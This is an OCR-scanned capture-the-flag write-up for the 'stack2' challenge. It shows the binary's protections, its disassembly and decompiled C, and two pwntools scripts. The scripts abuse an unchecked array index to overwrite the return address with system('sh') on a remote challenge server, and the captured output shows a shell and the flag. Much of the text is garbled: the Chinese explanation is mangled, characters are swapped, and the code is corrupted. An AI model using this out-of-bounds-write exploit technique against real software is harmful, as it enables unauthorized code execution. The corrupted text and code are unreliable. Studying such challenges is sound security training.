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root@mypwn: /ctf/work/python/stack2# checksec fcca8ceb507544d1bd9c4a7925907ald
[*] "/ctf/work/python/stack2/fcca8ceb507544d1bd9c4a7925907a1d"’

Arch: i386-32-1little
RELRO: Partial RELRO
Stack: Canary found

NX: NX enabled

PIE: No PIE (0x8048000)
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[#] Functions window - x | [ <1 DA View-A @[T  Hex View-1 QR Structures Q

B .text:080485D0
Function name .text:080485D0 ; SUBROUTINE
text:080485D0
E _init_proc .text:080485D0 ; Attributes: bp-based frame
tex 80485D0
IE sub_8048410 .text:080485D0 ; int _ cdecl main(int argc, const char **argv, const char **envp)
R tex 80485D0 public main
IE printf .text:080485D0 main proc near ; DATA XREF: start+l7to
= .text:080485D0
E __stack_chk_fail .text:080485D0 var A8 = qword ptr -0ASh
text:080485D0 var_A0 = gword ptr -0AOh
[7] _puts .text:080485D0 var_90 = dword ptr -90h
- .text:080485D0 var_ 8C = dword ptr -8Ch
[#] _system .text:080485D0 var_ 88 = dword ptr -88h
- .text:080485D0 var 84 = dword ptr -84h
E libe start main .text:080485D0 var_ 80 = dword ptr -80h
- - - .text:080485D0 var_7C = dword ptr -7Ch
E setvbuf .text:080485D0 var_ 78 = dword ptr -78h
= .text:080485D0 var_ 74 = dword ptr -74h
E __isoc99_scanf .text:080485D0 var 70 = byte ptr -70h
.text:080485D0 var_C = dword ptr -0Ch
E __gmon_start__ .text:080485D0 var_ 4 = dword ptr -4
.text:080485D0 argc = dword ptr 8
[F] _start .text:080485D0 argv = dword ptr 0Ch
.text:080485D0 envp = dword ptr 10h
E _ x86_get_pc_thunk_bx .text:080485D0 )
R .text:080485D0 ; _ unwind {
E dereg|ster_tm_c|ones .text:080485D0 lea ecx, [esp+4]
. H and esp, OFFFFFFFOh
[7] register_tm_clones push  dword ptr [ecx-4]
push ebp
[F] _do_global_dtors_aux mov ebp, esp
push ecx
[#] frame_dummy sub esp, OAdh
mov eax, large gs:14h
E hackhere mov [ebp+var C], eax
xor eax, eax
sz main mov eax, ds:stdin@@GLIBC_2_0
. L. push 0 ;i n
[#] _libc_csu_init push 2 ; modes
.text:080485F8 push 0 ; buf
IE _libc_csu_fini .text:080485FA push eax ; stream
.text:080485FB call _setvbuf
E term_proc .text:08048600 add esp, 10h
= — .text:08048603 mov eax, ds:stdout@@GLIBC_2_0
[#] printf .text:08048608 push 0 i n
.text:0804860A push 2 ; modes
E __stack_chk_fail .text:0804860C push 0 ; buf
.text:0804860E push eax ; stream
E puts .text:0804860F call  _setvbuf
.text:08048614 add esp, 10h
E system .text:08048617 mov [ebp+var_80], 0
.text:0804861E sub esp, OCh
E libc start main .text:08048621 push offset s G TR RR KRR KRR KRR RKRRK KR RRRKHIRIR AR NR"
- = - text:08048626 call _puts
[7] setvbuf .text:0804862B add esp, 10h
tex 804862E sub esp, OCh
E __isoc99_scanf .text:08048631 push offset aAnEasyCalec ; "* An easy calc
tex 8048636 call _puts
E _imp__gmon_start__ .text:0804863B add esp, 10h
tex 804863E sub esp, OCh
tex 8048641 push offset aGiveMeYourNumb ; "*Give me your numbers and I will return”...
tex 8048646 call _puts
tex 804864B add esp, 10h
tex 804864E sub esp, 0Ch
.text:08048651 push offset a0X256 ; "*(0 <= x < 256)
.text:08048656 call _puts
.text:0804865B add esp, 10h
.text:0804865E sub esp, OCh
.text:08048661 Push offset s H Mokdeddkdedededekde sk dekok ek ke ke
Line 18 of 29 000005D0 080485D0: main (Synchronized with Hex View-1)

A LLEE], B4R, R EEmainflhackhere,
RXEELIEmanEBF TR EEMNS:

int _ cdecl main(int argc, const char **argv, const char **envp)
{
int nIndexAdd; // eax
unsigned int nTemp; // [esp+18h] [ebp-906h]
unsigned int nChoice; // [esp+1Ch] [ebp-8Ch]
int nNumber; // [esp+20h] [ebp-88h]
unsigned int nCountNumber; // [esp+24h] [ebp-84h]
int nSum; // [esp+28h] [ebp-86h]
unsigned int i; // [esp+2Ch] [ebp-7Ch]
unsigned int k; // [esp+30h] [ebp-78h]
unsigned int 1; // [esp+34h] [ebp-74h]
char arrNumbers[100]; // [esp+38h] [ebp-706h]
unsigned int v14; // [esp+9Ch] [ebp-Ch]

vl4 = _ readgsdword(0x14u);

setvbuf(stdin, @, 2, 9);

setvbuf(stdout, @, 2, 0);

nSum = 0;
pUtS("***********************************************************");
puts("* An easy calc *");
puts("*Give me your numbers and I will return to you an average *");
puts("*(@ <= x < 256) *");
pUtS("***********************************************************");
puts("How many numbers you have:");

is0c99 scanf("%d". &nTemn):



puts("Give me your numbers");
for (i =0; i < nTemp & & (signed int)i <= 99; ++i )
{

__iso0c99_scanf("%d", &nNumber);

arrNumbers[i] = nNumber;

}
for ( nCountNumber = nTemp; ; printf("average is %.21f\n", (double)((long double)nSum / (double)nCountNum
{
while ( 1)
{
while ( 1)
{
while ( 1)
{
puts("1l. show numbers\n2. add number\n3. change number\n4. get average\n5. exit");
__iso0c99_scanf("%d", &nChoice);
if ( nChoice != 2 )
break;
puts("Give me your number");
__is0c99_scanf("%d", &nNumber);
if ( nCountNumber <= ©x63 )
{
nIndexAdd = nCountNumber++;
arrNumbers[nIndexAdd] = nNumber;
}
}
if ( nChoice > 2 )
break;
if ( nChoice !=1)
return 0;
puts("id\t\tnumber");
for ( k = @; k < nCountNumber; ++k )
printf("%d\t\t%d\n", k, arrNumbers[k]);
}
if ( nChoice != 3 )
break;
puts("which number to change:");
__iso0c99_scanf("%d", &nTemp);
puts("new number:");
__isoc99_scanf("%d", &nNumber);
arrNumbers[nTemp] = nNumber;
}
if ( nChoice != 4 )
break;
nSum = 0;

for (1 = 0; 1 < nCountNumber; ++1 )
nSum += arrNumbers[1];

}

return 0;
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int hackhere()

{

return system("/bin/bash");
}
.text:0804859B public hackhere
.text:0804859B hackhere proc near
.text:0804859B
.text:0804859B var_C = dword ptr -eCh

.text:08048598B
.text:0804859B ; _ unwind {

.text:08048598B push ebp

.text:0804859C mov ebp, esp
.text:0804859E sub esp, 18h
.text:080485A1 mov eax, large gs:14h
.text:080485A7 mov [ebp+var_C], eax
.text:080485AA xor eax, eax
.text:080485AC sub esp, 0OCh
.text:080485AF push offset command ; "/bin/bash"
.text:080485B4 call _system
.text:080485B9 add esp, 10h
.text:080485BC nop

.text:080485BD mov edx, [ebp+var_C]
.text:080485C0O xor edx, large gs:14h
.text:080485C7 jz short locret_80485CE
.text:080485C9 call ___stack_chk_fail

>EBREEIHEHCE § oocoooooooooooooooosssssssssssssoono000000000000000000000000000000000000000
.text:080485CE

.text:080485CE locret_80485CE: ; CODE XREF: hackhere+2C?tj
.text:080485CE leave

.text:080485CF retn

.text:080485CF ; } // starts at 804859B

.text:080485CF hackhere endp
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while(true)
{
puts("1l. show numbers\n2. add number\n3. change number\n4. get average\n5. exit");
__isoc99_scanf("%d", &nChoice);
switch(nChoice)
{
case 1:
puts("id\t\tnumber");
for ( k = @; k < nCountNumber; ++k )
printf("%d\t\t%d\n", k, arrNumbers[k]);
break;
case 2:
puts("Give me your number");
_ isoc99_scanf("%d", &nNumber);
if ( nCountNumber <= 0x63 )
{
nIndexAdd = nCountNumber++;
arrNumbers[nIndexAdd] = nNumber;
}
break;
case 3:
puts("which number to change:");
__1s0c99_scanf("%d", &nTemp);
puts(“new number:");
__1s0c99_scanf("%d", &nNumber);
arrNumbers[nTemp] = nNumber;
break;
case 4:
nSum = 0;
for (1 =0; 1 < nCountNumber; ++1 )
nSum += arrNumbers[1];
printf("average is %.21f\n", (double)((long double)nSum / (double)nCountNumber))
break;
case 5:
default:
return 0;

BEBRERIE, WHAEHAET

case 3:
puts("which number to change:");
__isoc99_scanf("%d", &nTemp);
puts("new number:");
__isoc99_scanf("%d", &nNumber);
arrNumbers[nTemp] = nNumber;
break;
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[DEBUG] Sent ox5 bytes:
00000000 9b 85 04 08 0a |....|.|
00000005

HF FarrNumbersf g X

char arrNumbers[100]; // [esp+38h] [ebp-706h]

B eipfiAE T arrNumbers{w s &0x84, XM il A~ 20x70+4, 7L IDAZ BREE— T 5t 7] LAE Blretds 4 Wi
MEEHE R L, BARKIERERE, FEBETE.

e T LHMERZE, i1 EpythonfIA T .

#coding:utf8

from pwn import *
# context.log_level = 'debug'

process_name = './fcca8ceb507544d1bd9c4a7925907ald"
# p = process(process_name)
p = remote('111.198.29.45', 30172)

hackhere = [0x9b, ©x85, 0x04, 0x08] #0x0804859B
write_ offset = 0x84

def change_number(offset, value):

p.sendlineafter('5. exit', '3'")

p.sendlineafter('which number to change:', str(offset))
p.sendlineafter('new number:', str(value))

p.sendlineafter('How many numbers you have:', '1")
p.sendlineafter('Give me your numbers', '1')
for i in range(4):

change_number (write_offset+i, hackhere[i])

p.sendlineafter('5. exit', '5'")

p.interactive()

PATZ R BT :

root@mypwn: /ctf/work/python/stack2# python stack2.py
[+] Opening connection to 111.198.29.45 on port 30172: Done
[*] Switching to interactive mode

sh: 1: /bin/bash: not found
[*] Got EOF while reading in interactive

$

WL B2 AT 3] T hackherefi ¥, B2 KK HbashfEF. HATA LAF 2l/bin/bashi & J& B &sh, FrbAna] B
HETEHE Hshimie i, 0 EfEFRAEM systemk $thiil, EFrgwmS pythonHiA& T -



#coding:utf8

from pwn import *
# context.log_level = 'debug'

process_name = './fcca8ceb507544d1bd9c4a7925907ald"
# p = process(process_name)
p = remote('111.198.29.45"', 30172)

hackhere = [@0x9b, Ox85, 0x04, 0x08] #0x0804859B
write_offset = 0x84

system_addr = [0x50, Ox84, 0x04, 0x08] # Ox08048450
sh_addr = [0x87, 0x89, 0x04, 0x08] # 0x08048987

def change_number(offset, value):
p.sendlineafter('5. exit', '3")
p.sendlineafter('which number to change:', str(offset))
p.sendlineafter('new number:', str(value))

p.sendlineafter('How many numbers you have:', '1')
p.sendlineafter('Give me your numbers', '1')
for i in range(4):

change_number (write_offset+i, system_addr[i])
write offset += 8

for i in range(4):
change_number (write_offset+i, sh_addr[i])

p.sendlineafter('5. exit', '5")

p.interactive()

PATE R T -

root@mypwn: /ctf/work/python/stack2# python stack2.py
[+] Opening connection to 111.198.29.45 on port 30172: Done
[*] Switching to interactive mode

$ cat flag
cyberpeace{elbe7c67349462a84aa2e446e83b7ebl}
$
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